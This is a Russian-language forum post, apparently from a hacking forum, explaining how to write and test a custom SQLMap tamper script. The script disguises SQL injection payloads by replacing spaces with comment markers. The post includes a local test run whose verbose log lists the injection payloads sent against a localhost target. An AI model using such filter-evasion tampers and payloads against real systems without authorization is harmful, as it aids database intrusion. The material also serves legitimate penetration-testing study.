• XSS.stack #1 – первый литературный журнал от юзеров форума

Tamper's для SQLMap

Спроси ИИ-чаты, там по сути все просто, если глянешь сорцы https://github.com/sqlmapproject/sqlmap/tree/master/tamper то увидишь что вся суть тампера ето создать функцию:
Код:
def tamper(payload, **kwargs):
в которой регулярками и прочими средствами модифицировать переменную payload
Вот самый просто пример: https://github.com/sqlmapproject/sqlmap/blob/master/tamper/base64encode.py

Вот мне тут чятик посоветовал как можно тестить их чтоб было проще писать.

пишем сам тампер, простой, как пример:
Код:
#!/usr/bin/env python

"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import random
#from lib.core.enums import PRIORITY

#__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """Простая обфускация: заменяет пробелы на /**/"""
    return payload.replace(" ", "/*MYTAMPER*/")

далее пишем скрипт проверочный: test_tamper.py

Код:
import mytamper  # Импортируем наш тампер

# Тестовый SQL-запрос
test_payload = "SELECT id, username FROM users WHERE id=1"

# Проверяем, как тампер его изменит
tampered_payload = mytamper.tamper(test_payload)

# Вывод результата
print("Оригинальный SQL-запрос:")
print(test_payload)
print("\nПосле применения тампера:")
print(tampered_payload)

Запускаем:
Screenshot_2025-03-20_14-14-19.png



После того как убедились что все окей, раскоментить строки:
Код:
#from lib.core.enums import PRIORITY
#__priority__ = PRIORITY.NORMAL

Что такое PRIORITY?

Приоритет (PRIORITY) определяет порядок применения тамперов, если используется несколько тамперов одновременно.
SQLMap поддерживает 4 уровня приоритета:

  • HIGH (высокий) – выполняется первым.
  • NORMAL (обычный, по умолчанию) – выполняется в стандартном порядке.
  • LOW (низкий) – выполняется последним.
  • VERYLOW (очень низкий) – выполняется в самом конце.
После всех махинаций осталось запустить тампер через BurpSuite прокси и просто понаблюдать за логом. Или же просто запустить с пкараметром -v 3 чтоб видеть какие пайлоды он шлет:
Код:
└─$ sqlmap -u 'http://localhost/test.php?id=1' --tamper=mytamper.py -v 3 --ignore-code 404 --skip-waf

[14:24:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:24:59] [PAYLOAD] 1)/*MYTAMPER*/ORDER/*MYTAMPER*/BY/*MYTAMPER*/1--/*MYTAMPER*/bgQN
[14:24:59] [PAYLOAD] 1)/*MYTAMPER*/ORDER/*MYTAMPER*/BY/*MYTAMPER*/9493--/*MYTAMPER*/hgNP
[14:24:59] [PAYLOAD] 1/*MYTAMPER*/ORDER/*MYTAMPER*/BY/*MYTAMPER*/1--/*MYTAMPER*/gGSP
[14:24:59] [PAYLOAD] 1/*MYTAMPER*/ORDER/*MYTAMPER*/BY/*MYTAMPER*/9382--/*MYTAMPER*/pREQ
[14:24:59] [PAYLOAD] 1/*MYTAMPER*/ORDER/*MYTAMPER*/BY/*MYTAMPER*/1--/*MYTAMPER*/QrbR
[14:24:59] [PAYLOAD] 1/*MYTAMPER*/ORDER/*MYTAMPER*/BY/*MYTAMPER*/7439--/*MYTAMPER*/AsJV
[14:24:59] [PAYLOAD] 1')/*MYTAMPER*/ORDER/*MYTAMPER*/BY/*MYTAMPER*/1--/*MYTAMPER*/xpzz
[14:24:59] [PAYLOAD] 1')/*MYTAMPER*/ORDER/*MYTAMPER*/BY/*MYTAMPER*/2944--/*MYTAMPER*/VuEd
[14:24:59] [PAYLOAD] 1'/*MYTAMPER*/ORDER/*MYTAMPER*/BY/*MYTAMPER*/1--/*MYTAMPER*/kcxl
[14:24:59] [PAYLOAD] 1'/*MYTAMPER*/ORDER/*MYTAMPER*/BY/*MYTAMPER*/5407--/*MYTAMPER*/nxJm
[14:24:59] [DEBUG] skipping test 'Generic UNION query (random number) - 1 to 10 columns' because the level (3) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'Generic UNION query (NULL) - 11 to 20 columns' because the level (2) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'Generic UNION query (random number) - 11 to 20 columns' because the level (3) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'Generic UNION query (NULL) - 21 to 30 columns' because the level (3) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'Generic UNION query (random number) - 21 to 30 columns' because the level (4) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'Generic UNION query (NULL) - 31 to 40 columns' because the level (4) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'Generic UNION query (random number) - 31 to 40 columns' because the level (5) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'Generic UNION query (NULL) - 41 to 50 columns' because the level (5) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'Generic UNION query (random number) - 41 to 50 columns' because the level (5) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'MySQL UNION query (NULL) - 1 to 10 columns' because the level (2) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'MySQL UNION query (random number) - 1 to 10 columns' because the level (3) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'MySQL UNION query (NULL) - 11 to 20 columns' because the level (2) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'MySQL UNION query (random number) - 11 to 20 columns' because the level (3) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'MySQL UNION query (NULL) - 21 to 30 columns' because the level (3) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'MySQL UNION query (random number) - 21 to 30 columns' because the level (4) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'MySQL UNION query (NULL) - 31 to 40 columns' because the level (4) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'MySQL UNION query (random number) - 31 to 40 columns' because the level (5) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'MySQL UNION query (NULL) - 41 to 50 columns' because the level (5) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'MySQL UNION query (random number) - 41 to 50 columns' because the level (5) is higher than the provided (1)
[14:24:59] [WARNING] GET parameter 'id' does not seem to be injectable
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх